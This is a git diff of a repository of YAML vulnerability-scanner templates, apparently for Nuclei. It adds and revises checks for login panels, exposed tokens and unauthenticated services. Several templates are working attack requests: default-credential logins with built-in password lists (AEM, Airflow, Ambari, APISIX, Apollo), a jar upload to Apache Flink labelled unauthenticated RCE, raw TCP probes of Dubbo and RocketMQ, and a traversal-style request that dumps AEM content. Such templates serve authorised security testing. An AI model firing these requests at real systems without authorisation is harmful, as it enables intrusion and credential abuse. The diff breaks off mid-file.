payloads: - aem_user: - - admin - - grios - - replication-receiver - - vgnadmin - - aem_pass: - - admin - - password - - replication-receiver - - vgnadmin - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - condition: and - words: - - login-token - - crx.default - -# Enhanced by mp on 2022/03/23 diff --git a/poc/auth/aem-secrets.yaml b/poc/auth/aem-secrets.yaml new file mode 100644 index 0000000000..4ac0aaf165 --- /dev/null +++ b/poc/auth/aem-secrets.yaml @@ -0,0 +1,44 @@ +id: aem-secrets + +info: + name: AEM Secrets - Sensitive Information Disclosure + author: j3ssie & boobooHQ + severity: high + reference: + - https://www.linkedin.com/feed/update/urn:li:activity:7066003031271616513/ + description: | + Possible Juicy Files can be discovered at this endpoint. Search / Grep for secrets like hashed passwords ( SHA ) , internal email disclosure etc. + metadata: + max-request: 2 + verified: "true" + tags: aem,adobe,misconfig,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json" + - "{{BaseURL}}/..;//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json" + + headers: + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 + Accept-Language: en-US,en;q=0.9,hi;q=0.8 + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"jcr:uuid"' + - '"jcr:createdBy"' + - '"uri"' + condition: and + + - type: word + part: header + words: + - application/json + + - type: status + status: + - 200 diff --git a/poc/auth/aims-password-mgmt-client-218.yaml b/poc/auth/aims-password-mgmt-client-218.yaml index c6f768a5c9..76998f88a1 100644 --- a/poc/auth/aims-password-mgmt-client-218.yaml +++ b/poc/auth/aims-password-mgmt-client-218.yaml @@ -3,16 +3,8 @@ id: aims-password-mgmt-client info: name: Aims Password Management Client Detect author: iamthefrogy - description: An Aims Password management client was detected. severity: info - tags: panel,aims - reference: - - https://www.avatier.com/products/identity-management/password-management/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0.0 - cve-id: - cwe-id: CWE-200 + tags: panel requests: - method: GET @@ -23,5 +15,3 @@ requests: - type: word words: - "Avatier Corporation" - -# Enhanced by mp on 2022/03/21 diff --git a/poc/auth/aims-password-mgmt-client-221.yaml b/poc/auth/aims-password-mgmt-client-221.yaml deleted file mode 100644 index 76998f88a1..0000000000 --- a/poc/auth/aims-password-mgmt-client-221.yaml +++ /dev/null @@ -1,17 +0,0 @@ -id: aims-password-mgmt-client - -info: - name: Aims Password Management Client Detect - author: iamthefrogy - severity: info - tags: panel - -requests: - - method: GET - path: - - "{{BaseURL}}/aims/ps/" - - matchers: - - type: word - words: - - "Avatier Corporation" diff --git a/poc/auth/aims-password-portal-224.yaml b/poc/auth/aims-password-portal-224.yaml deleted file mode 100644 index eb21d8e0eb..0000000000 --- a/poc/auth/aims-password-portal-224.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: aims-password-portal - -info: - name: AIMS Password Management Portal - author: dhiyaneshDK - severity: info - reference: https://www.exploit-db.com/ghdb/6576 - tags: panel - -requests: - - method: GET - path: - - '{{BaseURL}}/aims/ps/default.aspx' - - matchers-condition: and - matchers: - - type: word - words: - - 'Password Management Client' - - type: status - status: - - 200 diff --git a/poc/auth/airflow-default-login.yaml b/poc/auth/airflow-default-login-234.yaml similarity index 100% rename from poc/auth/airflow-default-login.yaml rename to poc/auth/airflow-default-login-234.yaml diff --git a/poc/auth/airflow-default-login-235.yaml b/poc/auth/airflow-default-login-235.yaml deleted file mode 100644 index 772e1ffd78..0000000000 --- a/poc/auth/airflow-default-login-235.yaml +++ /dev/null @@ -1,64 +0,0 @@ -id: airflow-default-login - -info: - name: Apache Airflow Default Login - author: pdteam - severity: high - description: An Apache Airflow default login was discovered. - reference: - - https://airflow.apache.org/docs/apache-airflow/stable/start/docker.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - shodan-query: title:"Sign In - Airflow" - tags: airflow,default-login,apache - -requests: - - raw: - - | - GET /login/ HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - - - | - POST /login/ HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Content-Type: application/x-www-form-urlencoded - Referer: {{BaseURL}}/admin/airflow/login - - username={{username}}&password={{password}}&_csrf_token={{csrf_token}} - - attack: pitchfork - payloads: - username: - - airflow - password: - - airflow - - cookie-reuse: true - extractors: - - type: regex - name: csrf_token - group: 1 - internal: true - regex: - - 'type="hidden" value="(.*?)">' - - req-condition: true - matchers-condition: and - matchers: - - type: dsl - dsl: - - 'contains(body_1, "Sign In - Airflow")' - - 'contains(all_headers_2, "session=.")' - - 'status_code_2 == 302' - condition: and - - - type: word - words: - - 'You should be redirected automatically to target URL: ' - -# Enhanced by mp on 2022/03/22 diff --git a/poc/auth/airflow-default-login-236.yaml b/poc/auth/airflow-default-login-236.yaml index cef2568e5d..772e1ffd78 100644 --- a/poc/auth/airflow-default-login-236.yaml +++ b/poc/auth/airflow-default-login-236.yaml @@ -1,18 +1,27 @@ id: airflow-default-login + info: name: Apache Airflow Default Login author: pdteam - severity: critical - tags: airflow,default-login,apache - reference: https://airflow.apache.org/docs/apache-airflow/stable/start/docker.html + severity: high + description: An Apache Airflow default login was discovered. + reference: + - https://airflow.apache.org/docs/apache-airflow/stable/start/docker.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 metadata: shodan-query: title:"Sign In - Airflow" + tags: airflow,default-login,apache + requests: - raw: - | GET /login/ HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} + - | POST /login/ HTTP/1.1 Host: {{Hostname}} @@ -21,12 +30,14 @@ requests: Referer: {{BaseURL}}/admin/airflow/login username={{username}}&password={{password}}&_csrf_token={{csrf_token}} + attack: pitchfork payloads: username: - airflow password: - airflow + cookie-reuse: true extractors: - type: regex @@ -35,6 +46,7 @@ requests: internal: true regex: - 'type="hidden" value="(.*?)">' + req-condition: true matchers-condition: and matchers: @@ -44,6 +56,9 @@ requests: - 'contains(all_headers_2, "session=.")' - 'status_code_2 == 302' condition: and + - type: word words: - 'You should be redirected automatically to target URL: ' + +# Enhanced by mp on 2022/03/22 diff --git a/poc/auth/alibaba-mongoshake-unauth.yaml b/poc/auth/alibaba-mongoshake-unauth.yaml new file mode 100644 index 0000000000..6de46b6ec7 --- /dev/null +++ b/poc/auth/alibaba-mongoshake-unauth.yaml @@ -0,0 +1,27 @@ +id: alibaba-mongoshake-unauth + +info: + name: Alibaba Mongoshake Unauth + author: pikpikcu + severity: info + tags: mongoshake,unauth + +requests: + - method: GET + path: + - '{{BaseURL}}/' + + matchers-condition: and + matchers: + + - type: word + words: + - '{"Uri":"/worker","Method":"GET"}' + - type: word + words: + - 'text/plain' + part: header + + - type: status + status: + - 200 diff --git a/poc/auth/amazon-mws-auth-token-11845.yaml b/poc/auth/amazon-mws-auth-token-11845.yaml index 8ed5b31604..0ab5703b9c 100644 --- a/poc/auth/amazon-mws-auth-token-11845.yaml +++ b/poc/auth/amazon-mws-auth-token-11845.yaml @@ -1,15 +1,11 @@ id: amazon-mws-auth-token-value info: - name: Amazon MWS Authentication Token - Detect + name: Amazon MWS Auth Token author: gaurang severity: medium - description: Amazon MWS authentication token was detected. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cwe-id: CWE-200 tags: token,file,amazon,auth + file: - extensions: - all @@ -18,6 +14,3 @@ file: - type: regex regex: - "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" - -# Enhanced by md on 2023/05/04 -# digest: 4a0a00473045022100a22e9ab4357449ff0b0d0e1d56fd2a2a815900eb260c13cdc8ca5b4904508d76022030e701c98fff70a3c0e8174fe27c30c87c60b0a4acdc97555a71970ab6e5e83a:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/amazon-mws-auth-token-282.yaml b/poc/auth/amazon-mws-auth-token-282.yaml index 457df905b0..eb41de1dae 100644 --- a/poc/auth/amazon-mws-auth-token-282.yaml +++ b/poc/auth/amazon-mws-auth-token-282.yaml @@ -4,11 +4,9 @@ info: name: Amazon MWS Auth Token author: puzzlepeaches severity: info - metadata: - max-request: 1 tags: exposure,token,aws,amazon,auth -http: +requests: - method: GET path: - "{{BaseURL}}" @@ -18,5 +16,3 @@ http: part: body regex: - "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" - -# digest: 4a0a00473045022040ac741be24d02135b0308a6d074f2d03fe6a7f1417abf455cea9942aefc7a5c022100954436ed9253b63aeda894501173c9013bdb27a97305b3e03e74001b84c73fc7:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/amazon-mws-auth-token-value.yaml b/poc/auth/amazon-mws-auth-token.yaml old mode 100755 new mode 100644 similarity index 100% rename from poc/auth/amazon-mws-auth-token-value.yaml rename to poc/auth/amazon-mws-auth-token.yaml diff --git "a/poc/auth/amazon-mws-auth-token_\351\207\215\345\244\215\345\211\257\346\234\254.yaml" "b/poc/auth/amazon-mws-auth-token_\351\207\215\345\244\215\345\211\257\346\234\254.yaml" new file mode 100644 index 0000000000..a3309dd4f4 --- /dev/null +++ "b/poc/auth/amazon-mws-auth-token_\351\207\215\345\244\215\345\211\257\346\234\254.yaml" @@ -0,0 +1,18 @@ +id: amazon-mws-auth-token + +info: + name: Amazon MWS Auth Token + author: puzzlepeaches + severity: info + tags: exposure,token,aws + +requests: + - method: GET + path: + - "{{BaseURL}}" + + extractors: + - type: regex + part: body + regex: + - "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" diff --git a/poc/auth/ambari-default-credentials.yaml b/poc/auth/ambari-default-credentials.yaml index cd31405298..60933a6e9f 100644 --- a/poc/auth/ambari-default-credentials.yaml +++ b/poc/auth/ambari-default-credentials.yaml @@ -1,11 +1,9 @@ id: ambari-default-credentials - info: name: Apache Ambari Default Credentials author: pdteam severity: medium tags: ambari,default-login - requests: - method: GET path: @@ -17,4 +15,4 @@ requests: words: - '"Users" : {' - 'AMBARI.' - condition: and \ No newline at end of file + condition: and diff --git a/poc/auth/ambari-default-login-287.yaml b/poc/auth/ambari-default-login-287.yaml new file mode 100644 index 0000000000..7d9efa4734 --- /dev/null +++ b/poc/auth/ambari-default-login-287.yaml @@ -0,0 +1,35 @@ +id: ambari-default-login + +info: + name: Apache Ambari Default Login + author: pdteam + description: An Apache Ambari default admin login was discovered. + severity: high + reference: + - https://ambari.apache.org/1.2.0/installing-hadoop-using-ambari/content/ambari-chap3-1.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + tags: ambari,default-login,apache + +requests: + - raw: + - | + GET /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + payloads: + username: + - admin + password: + - admin + attack: pitchfork + matchers: + - type: word + words: + - '"Users" : {' + - 'AMBARI.' + condition: and + +# Enhanced by mp on 2022/03/22 diff --git a/poc/auth/ambari-default-login-290.yaml b/poc/auth/ambari-default-login-290.yaml index 7d9efa4734..fb1f8c826a 100644 --- a/poc/auth/ambari-default-login-290.yaml +++ b/poc/auth/ambari-default-login-290.yaml @@ -3,22 +3,25 @@ id: ambari-default-login info: name: Apache Ambari Default Login author: pdteam - description: An Apache Ambari default admin login was discovered. severity: high + description: An Apache Ambari default admin login was discovered. reference: - https://ambari.apache.org/1.2.0/installing-hadoop-using-ambari/content/ambari-chap3-1.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 + metadata: + max-request: 1 tags: ambari,default-login,apache -requests: +http: - raw: - | GET /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} + payloads: username: - admin @@ -32,4 +35,4 @@ requests: - 'AMBARI.' condition: and -# Enhanced by mp on 2022/03/22 +# digest: 4b0a00483046022100e8ce7a0930ecfa4469f6955f0ac7532e7c5916c23f65b8e2362b2ffa026dd214022100e0e265ba7f30ed085fb6966bb1aff6bd07b3e8265c3d3f645a56510f797e731e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/amcrest-login-296.yaml b/poc/auth/amcrest-login-296.yaml deleted file mode 100644 index 7455bbce1f..0000000000 --- a/poc/auth/amcrest-login-296.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: amcrest-login - -info: - name: Amcrest Login - author: DhiyaneshDK - description: An Amcrest LDAP user login was discovered. - severity: info - reference: - - https://www.exploit-db.com/ghdb/7273 - metadata: - shodan-query: html:"amcrest" - google-dork: intext:"amcrest" "LDAP User" - tags: panel,camera,amcrest - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0.0 - cve-id: - cwe-id: CWE-200 - -requests: - - method: GET - path: - - '{{BaseURL}}' - - matchers-condition: and - matchers: - - type: word - words: - - "Amcrest Technologies" - - "LDAPUser" - condition: and - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/16 diff --git a/poc/auth/amcrest-login-297.yaml b/poc/auth/amcrest-login-297.yaml new file mode 100644 index 0000000000..19837aca9a --- /dev/null +++ b/poc/auth/amcrest-login-297.yaml @@ -0,0 +1,28 @@ +id: amcrest-login + +info: + name: Amcrest Login + author: DhiyaneshDK + severity: info + reference: https://www.exploit-db.com/ghdb/7273 + metadata: + shodan-query: html:"amcrest" + google-dork: intext:"amcrest" "LDAP User" + tags: panel,camera,amcrest + +requests: + - method: GET + path: + - '{{BaseURL}}' + + matchers-condition: and + matchers: + - type: word + words: + - "Amcrest Technologies" + - "LDAPUser" + condition: and + + - type: status + status: + - 200 diff --git a/poc/auth/ametys-admin-login-300.yaml b/poc/auth/ametys-admin-login-300.yaml deleted file mode 100644 index 7a96ee1ada..0000000000 --- a/poc/auth/ametys-admin-login-300.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: ametys-admin-login - -info: - name: Ametys Admin Login Panel - author: pathtaga - severity: info - description: An Ametys admin login panel was discovered. - tags: panel,ametys,cms - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0.0 - cve-id: - cwe-id: CWE-200 - -requests: - - method: GET - path: - - '{{BaseURL}}/_admin/index.html' - - matchers-condition: and - matchers: - - type: word - words: - - 'Ametys - Log in' - - '' - condition: or - - - type: status - status: - - 200 - - extractors: - - type: regex - part: body - group: 1 - regex: - - ' ([0-9.]+)' - -# Enhanced by mp on 2022/03/16 diff --git a/poc/auth/ametys-admin-login-302.yaml b/poc/auth/ametys-admin-login-302.yaml new file mode 100644 index 0000000000..7f33273288 --- /dev/null +++ b/poc/auth/ametys-admin-login-302.yaml @@ -0,0 +1,36 @@ +id: ametys-admin-login + +info: + name: Ametys Admin Login Panel + author: pathtaga + severity: info + description: An Ametys admin login panel was discovered. + classification: + cwe-id: CWE-200 + tags: panel,ametys,cms + +requests: + - method: GET + path: + - '{{BaseURL}}/_admin/index.html' + + matchers-condition: and + matchers: + - type: word + words: + - 'Ametys - Log in' + - '' + condition: or + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - ' ([0-9.]+)' + +# Enhanced by mp on 2022/03/16 diff --git a/poc/auth/ametys-admin-login.yaml b/poc/auth/ametys-admin-login.yaml index 7f33273288..f428571d45 100644 --- a/poc/auth/ametys-admin-login.yaml +++ b/poc/auth/ametys-admin-login.yaml @@ -7,9 +7,11 @@ info: description: An Ametys admin login panel was discovered. classification: cwe-id: CWE-200 + metadata: + max-request: 1 tags: panel,ametys,cms -requests: +http: - method: GET path: - '{{BaseURL}}/_admin/index.html' @@ -33,4 +35,4 @@ requests: regex: - ' ([0-9.]+)' -# Enhanced by mp on 2022/03/16 +# digest: 4a0a0047304502200cace429d1b550b4af3c64179a5d414702df7d8305df0e9e8747389b0ade9e770221008aeca3edc65bc7d3cdf95abaf15449d8b45b2c4c41d1c9934f34a4e84b915aba:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/apache-dubbo-unauth.yaml b/poc/auth/apache-dubbo-unauth.yaml new file mode 100644 index 0000000000..bd5e4743d4 --- /dev/null +++ b/poc/auth/apache-dubbo-unauth.yaml @@ -0,0 +1,31 @@ +id: apache-dubbo-unauth + +info: + name: Apache Dubbo - Unauthenticated Access + author: j4vaovo + severity: high + description: | + Apache Dubbo Unauthenticated Access were detected. + reference: + - https://dubbo.apache.org/en/docs3-v2/java-sdk/advanced-features-and-usage/security/auth/ + metadata: + fofa-query: apache dubbo + max-request: 1 + verified: true + tags: network,dubbo,apache,unauth,misconfig + +tcp: + - inputs: + - data: "68656c700d0a" + type: hex + + host: + - "{{Hostname}}" + port: 20880 + read-size: 2048 + + matchers: + - type: word + words: + - "trace [service] [method] [times]" +# digest: 4a0a00473045022019baed158798bd7636f8936ae6391035ee1f3cf0f6969604340953f8f06eb9530221009c8b40931f9eb4ebebf117f4b5fa3250df9ddb124d3973eb74145b11fa82e355:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/apache-flink-unauth-rce-355.yaml b/poc/auth/apache-flink-unauth-rce-356.yaml similarity index 100% rename from poc/auth/apache-flink-unauth-rce-355.yaml rename to poc/auth/apache-flink-unauth-rce-356.yaml diff --git a/poc/auth/apache-flink-unauth-rce.yaml b/poc/auth/apache-flink-unauth-rce.yaml new file mode 100644 index 0000000000..cfb2281c08 --- /dev/null +++ b/poc/auth/apache-flink-unauth-rce.yaml @@ -0,0 +1,41 @@ +id: apache-flink-unauth-rce +info: + name: Apache Flink Unauth RCE + author: pikpikcu + severity: critical + tags: apache,flink,rce + reference: | + - https://www.exploit-db.com/exploits/48978 + - https://adamc95.medium.com/apache-flink-1-9-x-part-1-set-up-5d85fd2770f3 + - https://github.com/LandGrey/flink-unauth-rce +requests: + - raw: + - | + POST /jars/upload HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 + Content-Length: 187 + Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3 + + --8ce4b16b22b58894aa86c421e8759df3 + Content-Disposition: form-data; name="jarfile";filename="poc.jar" + Content-Type:application/octet-stream + + nuclei + --8ce4b16b22b58894aa86c421e8759df3-- + matchers-condition: and + matchers: + - type: word + words: + - "application/json" + part: header + condition: and + - type: word + words: + - "success" + - "_poc.jar" + part: body + condition: and + - type: status + status: + - 200 diff --git a/poc/auth/apache-rocketmq-broker-unauth.yaml b/poc/auth/apache-rocketmq-broker-unauth.yaml new file mode 100644 index 0000000000..548ceb290d --- /dev/null +++ b/poc/auth/apache-rocketmq-broker-unauth.yaml @@ -0,0 +1,43 @@ +id: apache-rocketmq-broker-unauth + +info: + name: Apache Rocketmq Broker - Unauthenticated Access + author: j4vaovo + severity: high + description: | + Apache Rocketmq Unauthenticated Access were detected. + reference: + - https://rocketmq.apache.org/docs/bestPractice/03access + metadata: + fofa-query: protocol="rocketmq" + max-request: 1 + shodan-query: title:"RocketMQ" + verified: true + tags: network,rocketmq,broker,apache,unauth,misconfig + +tcp: + - inputs: + - data: "000000c9000000b17b22636f6465223a32352c226578744669656c6473223a7b224163636573734b6579223a22726f636b65746d7132222c225369676e6174757265223a222b7a6452645575617a6953516b4855557164727477673146386a6b3d227d2c22666c6167223a302c226c616e6775616765223a224a415641222c226f7061717565223a302c2273657269616c697a655479706543757272656e74525043223a224a534f4e222c2276657273696f6e223a3433337d746573745f6b65793d746573745f76616c75650a0a" + type: hex + + host: + - "{{Hostname}}" + port: 10911 + read-size: 2048 + + matchers-condition: and + matchers: + - type: word + words: + - serializeTypeCurrentRPC + - language + - opaque + - version + condition: and + + - type: word + words: + - "HTTP" + - "FTP" + negative: true +# digest: 490a00463044022047caf8ef37a3c31f120635dab95c1e57db0a0c80a9f44a563f77e45b5fc9d4670220123bbc8168d521dc2e99cb0d03c60f343b294c98591a3d2b88de4b415479e505:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/api-onelogin-472.yaml b/poc/auth/api-onelogin-472.yaml new file mode 100644 index 0000000000..1a1de60b69 --- /dev/null +++ b/poc/auth/api-onelogin-472.yaml @@ -0,0 +1,33 @@ +id: api-onelogin + +info: + name: OneLogin API Test + author: dwisiswant0 + severity: info + reference: + - https://developers.onelogin.com/api-docs/2/getting-started/dev-overview + metadata: + max-request: 2 + tags: token-spray,onelogin + +self-contained: true + +http: + - method: GET + path: + - "https://api.us.onelogin.com/api/2/apps" + - "https://api.eu.onelogin.com/api/2/apps" + + headers: + Authorization: Bearer {{token}} + stop-at-first-match: true + matchers: + - type: word + part: body + words: + - '"id":' + - '"connector_id":' + - '"auth_method":' + condition: and + +# digest: 4b0a00483046022100c863b1c5238bae97a22123c1fbcc2dffca09b867f1799b647646ae4ecc1fa317022100e9d0e913bb9c5089ceb35ecb0caa5f24a658dbd956febbb59d91a64027c9c728:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/api-onelogin.yaml b/poc/auth/api-onelogin.yaml deleted file mode 100644 index d8369ad80b..0000000000 --- a/poc/auth/api-onelogin.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: api-onelogin - -info: - name: OneLogin API Test - author: dwisiswant0 - severity: info - reference: https://developers.onelogin.com/api-docs/2/getting-started/dev-overview - tags: token-spray,onelogin - -self-contained: true -requests: - - method: GET - path: - - "https://api.us.onelogin.com/api/2/apps" - - "https://api.eu.onelogin.com/api/2/apps" - headers: - Authorization: Bearer {{token}} - - stop-at-first-match: true - matchers: - - type: word - part: body - words: - - '"id":' - - '"connector_id":' - - '"auth_method":' - condition: and diff --git a/poc/auth/apisix-default-login-490.yaml b/poc/auth/apisix-default-login-490.yaml index cb4e83e6df..d89104b847 100644 --- a/poc/auth/apisix-default-login-490.yaml +++ b/poc/auth/apisix-default-login-490.yaml @@ -5,16 +5,16 @@ info: author: pdteam severity: high description: An Apache Apisix default admin login was discovered. - metadata: - shodan-query: title:"Apache APISIX Dashboard" - fofa-query: title="Apache APISIX Dashboard" - product: https://apisix.apache.org reference: - https://apisix.apache.org/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 + metadata: + shodan-query: title:"Apache APISIX Dashboard" + fofa-query: title="Apache APISIX Dashboard" + product: https://apisix.apache.org tags: apisix,apache,default-login requests: diff --git a/poc/auth/apisix-default-login-492.yaml b/poc/auth/apisix-default-login-492.yaml index d89104b847..c16b0c60b1 100644 --- a/poc/auth/apisix-default-login-492.yaml +++ b/poc/auth/apisix-default-login-492.yaml @@ -1,22 +1,13 @@ id: apisix-default-login - info: - name: Apache Apisix Default Admin Login + name: Apache Apisix Default Login author: pdteam - severity: high - description: An Apache Apisix default admin login was discovered. - reference: - - https://apisix.apache.org/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 + severity: critical + tags: apisix,apache,default-login metadata: shodan-query: title:"Apache APISIX Dashboard" fofa-query: title="Apache APISIX Dashboard" product: https://apisix.apache.org - tags: apisix,apache,default-login - requests: - raw: - | @@ -27,25 +18,20 @@ requests: Content-Type: application/json;charset=UTF-8 {"username":"{{user}}","password":"{{pass}}"} - attack: pitchfork payloads: user: - admin pass: - admin - matchers-condition: and matchers: - type: status status: - 200 - - type: word words: - '"data"' - '"token"' - '"code":0' condition: and - -# Enhanced by mp on 2022/03/22 diff --git a/poc/auth/apollo-default-login-520.yaml b/poc/auth/apollo-default-login-520.yaml index 03709bd616..c9e119d097 100644 --- a/poc/auth/apollo-default-login-520.yaml +++ b/poc/auth/apollo-default-login-520.yaml @@ -12,11 +12,10 @@ info: cvss-score: 8.3 cwe-id: CWE-522 metadata: - max-request: 2 shodan-query: http.favicon.hash:11794165 tags: apollo,default-login -http: +requests: - raw: - | POST /signin HTTP/1.1 @@ -26,6 +25,7 @@ http: Referer: {{BaseURL}}/signin? username={{user}}&password={{pass}}&login-submit=Login + - | GET /user HTTP/1.1 Host: {{Hostname}} @@ -37,6 +37,8 @@ http: pass: - admin + cookie-reuse: true + req-condition: true matchers-condition: and matchers: - type: word @@ -49,7 +51,7 @@ http: - type: dsl dsl: - "status_code_1 == 302 && status_code_2 == 200" - - "contains(tolower(header_2), 'application/json')" + - "contains(tolower(all_headers_2), 'application/json')" condition: and -# digest: 4a0a004730450220546faaa98906288873457aaf445639368f32ddc0a459ae0362b9c87333a0832d022100a718e9fdccaa633152c35bd8f59d89e60a8a24f359521d6c6b0232fe8a07e196:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/03/22 diff --git a/poc/auth/apollo-default-login-521.yaml b/poc/auth/apollo-default-login-521.yaml deleted file mode 100644 index c9e119d097..0000000000 --- a/poc/auth/apollo-default-login-521.yaml +++ /dev/null @@ -1,57 +0,0 @@ -id: apollo-default-login - -info: - name: Apollo Default Login - author: PaperPen - severity: high - description: An Apollo default login was discovered. - reference: - - https://github.com/apolloconfig/apollo - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - shodan-query: http.favicon.hash:11794165 - tags: apollo,default-login - -requests: - - raw: - - | - POST /signin HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - Origin: {{BaseURL}} - Referer: {{BaseURL}}/signin? - - username={{user}}&password={{pass}}&login-submit=Login - - - | - GET /user HTTP/1.1 - Host: {{Hostname}} - - attack: pitchfork - payloads: - user: - - apollo - pass: - - admin - - cookie-reuse: true - req-condition: true - matchers-condition: and - matchers: - - type: word - part: body_2 - words: - - '"userId":' - - '"email":' - condition: or - - - type: dsl - dsl: - - "status_code_1 == 302 && status_code_2 == 200" - - "contains(tolower(all_headers_2), 'application/json')" - condition: and - -# Enhanced by mp on 2022/03/22 diff --git a/poc/auth/apple-app-site-association-525.yaml b/poc/auth/apple-app-site-association-525.yaml deleted file mode 100644 index 5e3aa3c443..0000000000 --- a/poc/auth/apple-app-site-association-525.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: apple-app-site-association - -info: - name: Apple app site association for harvesting end points - author: panch0r3d - severity: info - -requests: - - method: GET - path: - - "{{BaseURL}}/.well-known/apple-app-site-association" - - "{{BaseURL}}/well-known/apple-app-site-association" - - "{{BaseURL}}/apple-app-site-association" - redirects: true - max-redirects: 2 - headers: - User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0" - matchers-condition: and - matchers: - - type: regex - regex: - - '(a|A)(p|P)(p|P)(l|L)(i|I)(n|N)(k|K)(s|S)' - part: body - - type: status - status: - - 200 diff --git a/poc/auth/argocd-login-534.yaml b/poc/auth/argocd-login-534.yaml index 08c875c528..abb3c928e6 100644 --- a/poc/auth/argocd-login-534.yaml +++ b/poc/auth/argocd-login-534.yaml @@ -2,34 +2,42 @@ id: argocd-detect info: name: Argo CD Login Panel - author: Adam Crosser,daffainfo + author: Adam Crosser,daffainfo,aringo severity: info description: An Argo CD login panel was discovered. reference: - https://argoproj.github.io/cd/ + classification: + cwe-id: CWE-200 metadata: + max-request: 2 shodan-query: http.title:"Argo CD" tags: panel,argocd,login,kubernetes - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0.0 - cve-id: - cwe-id: CWE-200 -requests: +http: - method: GET path: - - "{{BaseURL}}/login" + - "{{BaseURL}}/api/version" + - "{{BaseURL}}/api/v1/settings" + + stop-at-first-match: true - matchers-condition: and + matchers-condition: or matchers: - - type: word - part: body - words: - - 'Argo CD' + - type: dsl + dsl: + - contains(to_lower(header_1), 'grpc-metadata-content-type') + - status_code_1 == 200 + condition: and - - type: status - status: - - 200 + - type: dsl + dsl: + - contains(body_2, 'appLabelKey') + - contains(body_2, 'resourceOverrides') + condition: and -# Enhanced by mp on 2022/03/20 + extractors: + - type: json + json: + - .Version +# digest: 4a0a00473045022100e4bfd42b83a19cf9d72d03fdb350a06f61f4edd94fd0cb2e322d8763ed28b49402205e8b57d8c9e543ed035d43cfd9854b21b016751f6b1d05adac2118e45199f226:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/argocd-login-535.yaml b/poc/auth/argocd-login-535.yaml new file mode 100644 index 0000000000..546bbfd8cc --- /dev/null +++ b/poc/auth/argocd-login-535.yaml @@ -0,0 +1,32 @@ +id: argocd-detect + +info: + name: Argo CD Login Panel + author: Adam Crosser,daffainfo + severity: info + description: An Argo CD login panel was discovered. + reference: + - https://argoproj.github.io/cd/ + classification: + 